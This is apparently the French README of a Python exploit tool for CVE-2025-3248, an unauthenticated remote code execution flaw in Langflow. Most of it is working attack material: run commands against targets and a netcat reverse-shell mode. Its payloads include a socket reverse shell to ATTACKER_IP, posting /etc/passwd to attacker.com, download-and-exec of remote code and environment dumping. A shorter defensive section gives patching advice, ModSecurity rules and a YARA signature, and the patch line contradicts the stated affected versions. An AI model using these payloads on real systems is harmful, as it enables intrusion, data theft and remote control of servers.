
Un framework d'exploitation complet en Python pour tester et démontrer CVE-2025-3248, une vulnérabilité critique d'exécution de code à distance non authentifiée dans Langflow versions ≤ 1.3.0.
Un framework d'exploitation Python complet pour tester et démontrer CVE-2025-3248, une vulnérabilité critique d'exécution de code à distance non authentifiée dans Langflow versions ≤ 1.3.0.
| Propriété | Valeur |
|---|---|
| ID CVE | CVE-2025-3248 |
| Produit | Langflow |
| Versions affectées | ≤ 1.3.0 |
| Type de vulnérabilité | Exécution de code à distance (RCE) non authentifiée |
| Vecteur d'attaque | Réseau |
| Authentification requise | Aucune |
| Score CVSS | 9.8 (Critique) |
| Score EPSS | 92,57 % |
| CWE | CWE-94 (Contrôle inapproprié de la génération de code) |
| Point d'accès vulnérable | /api/v1/validate/code |
La vulnérabilité réside dans le point d'accès API /api/v1/validate/code, qui accepte du code Python arbitraire et le valide à l'aide de la fonction exec() non sécurisée de Python, sans assainissement des entrées ni isolation. La vulnérabilité exploite le comportement de Python où :
Attacker → POST /api/v1/validate/code → Python exec() → RCE
↓
No Auth Required
↓
Arbitrary Python Code
↓
System Command Execution
Python >= 3.7
requests >= 2.25.0
pip install requests
pip install colorama # Pour le support des couleurs sous Windows
git clone https://github.com/drackyjr/cve-2025-3248-exploit.git
cd cve-2025-3248-exploit
pip install -r requirements.txt
chmod +x cve_2025_3248_test.py
python3 cve_2025_3248_test.py -t <url_cible> [options]
python3 cve_2025_3248_test.py -t http://target.com
python3 cve_2025_3248_test.py -t http://target.com -c "whoami"
python3 cve_2025_3248_test.py -t http://target.com -c "cat /etc/passwd"
Étape 1 : Démarrer un écouteur netcat sur votre machine
nc -lvnp 4444
Étape 2 : Lancer l'exploit
python3 cve_2025_3248_test.py -t http://target.com --exploit --lhost VOTRE_IP --lport 4444
Exemple :
python3 cve_2025_3248_test.py -t http://192.168.1.100:7860 --exploit --lhost 192.168.1.50 --lport 4444
python3 cve_2025_3248_test.py -t http://target.com --timeout 30
positional arguments:
None
optional arguments:
-t, --target TARGET URL cible (ex. http://target.com) [OBLIGATOIRE]
-c, --command COMMAND Commande à exécuter (défaut : id)
--timeout TIMEOUT Délai d'attente des requêtes en secondes (défaut : 10)
--exploit Activer le mode exploitation (shell inversé)
--lhost LHOST Votre adresse IP pour le shell inversé
--lport LPORT Votre port pour le shell inversé
-h, --help Afficher ce message d'aide
payload = {
"code": """
@exec("import os; os.system('whoami')")
def vulnerable_function():
pass
"""
}
payload = {
"code": """
def test(arg=exec("__import__('subprocess').check_output(['id'])")):
pass
"""
}
payload = {
"code": """
def test(x=exec("import requests; requests.post('http://attacker.com/exfil', data=open('/etc/passwd').read())")):
pass
"""
}
payload = {
"code": """
def shell(x=exec("import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ATTACKER_IP',4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(['/bin/sh','-i'])")):
pass
"""
}
payload = {
"code": """
def read_file(x=exec("print(open('/etc/passwd').read())")):
pass
"""
}
payload = {
"code": """
def enum_env(x=exec("import os; print('\\n'.join([f'{k}={v}' for k,v in os.environ.items()]))")):
pass
"""
}
payload = {
"code": """
def download_exec(x=exec("import urllib.request; exec(urllib.request.urlopen('http://attacker.com/payload.py').read())")):
pass
"""
}
Mettre à jour Langflow
pip install langflow>=1.3.0
# ou
docker pull langflow:latest
Restreindre l'accès réseau
# Proxy inverse Nginx - bloquer le point d'accès vulnérable
location /api/v1/validate/code {
deny all;
}
Mettre en place une authentification
# Ajouter un middleware d'authentification
@app.middleware("http")
async def auth_middleware(request, call_next):
if "/api/v1/validate/code" in request.url.path:
if not verify_auth(request):
return JSONResponse(status_code=401)
return await call_next(request)
Règle ModSecurity :
SecRule ARGS:code "@contains exec" "id:1001,phase:2,deny"
SecRule ARGS:code "@contains subprocess" "id:1002,phase:2,deny"
SecRule ARGS:code "@contains __import__" "id:1003,phase:2,deny"
SecRule ARGS:code "@contains os.system" "id:1004,phase:2,deny"
Signature YARA :
rule CVE_2025_3248_Langflow_RCE {
strings:
$api_path = "/api/v1/validate/code"
$exec = "exec("
$subprocess = "subprocess"
$os_system = "os.system"
condition:
$api_path and any of ($exec, $subprocess, $os_system)
}
# Surveiller les requêtes suspectes
tail -f /var/log/nginx/access.log | grep "/api/v1/validate/code"
# Alerter sur les requêtes POST vers le point d'accès vulnérable
auditctl -w /var/lib/langflow -p wa -k langflow_changes
/api/v1/validate/code/tmpLa chaîne de vulnérabilité fonctionne comme suit :
# L'attaquant envoie cette charge utile :
POST /api/v1/validate/code HTTP/1.1
Content-Type: application/json
{
"code": "def func(x=exec('import os; os.system(\"whoami\")')): pass"
}
# Le serveur la traite :
exec(code) # ← Dangereux ! Aucun assainissement
# Pendant l'analyse AST, l'argument par défaut est évalué :
# exec('import os; os.system("whoami")')
# Résultat : Exécution de commande arbitraire
Comportement de Python avec les décorateurs lors de la définition d'une fonction :
# Ce code est exécuté immédiatement :
@decorator_expression
def my_function():
pass
# Ce qui signifie que cette charge utile exécute le code :
@exec("code_malveillant_ici")
def vulnerable_function():
pass
Lors de tests de sécurité autorisés :
Les contributions sont les bienvenues ! Veuillez suivre ces directives :
git checkout -b feature/amazing-feature)git commit -m 'Add amazing feature')git push origin feature/amazing-feature)AVIS JURIDIQUE IMPORTANT :
Cet outil est fourni à des fins éducatives et de test de sécurité autorisé uniquement. L'accès non autorisé à des systèmes informatiques est ILLÉGAL et enfreint les lois, notamment :
Les créateurs et contributeurs déclinent TOUTE RESPONSABILITé en cas d'utilisation abusive de cet outil.
Dernière mise à jour : 21 novembre 2025
╔═══════════════════════════════════════════════════════════╗
║ CVE-2025-3248: Langflow RCE Vulnerability Scanner v1.0 ║
║ Use Responsibly - Authorized Testing Only ║
╚═══════════════════════════════════════════════════════════╝
| Date | Événement |
|---|
| 2025-04-06 | Vulnérabilité découverte et signalée à l'équipe Langflow |
| 2025-04-17 | Exploit public publié (Exploit-DB) |
| 2025-05-14 | Alerte d'épidémie FortiguardLabs émise |
| 2025-05-21 | Analyse Zscaler ThreatLabz publiée |
| 2025-05-22 | RecordedFuture signale une exploitation active |
| 2025-06-16 | TrendMicro signale une exploitation par le botnet FLODRIC |
| 2025-06-17 | Analyse complète OffSec publiée |
| 2025-11-05 | Entrée de base de données de vulnérabilités SentinelOne |
| 2025-11-20 | Tentatives d'exploitation continues observées |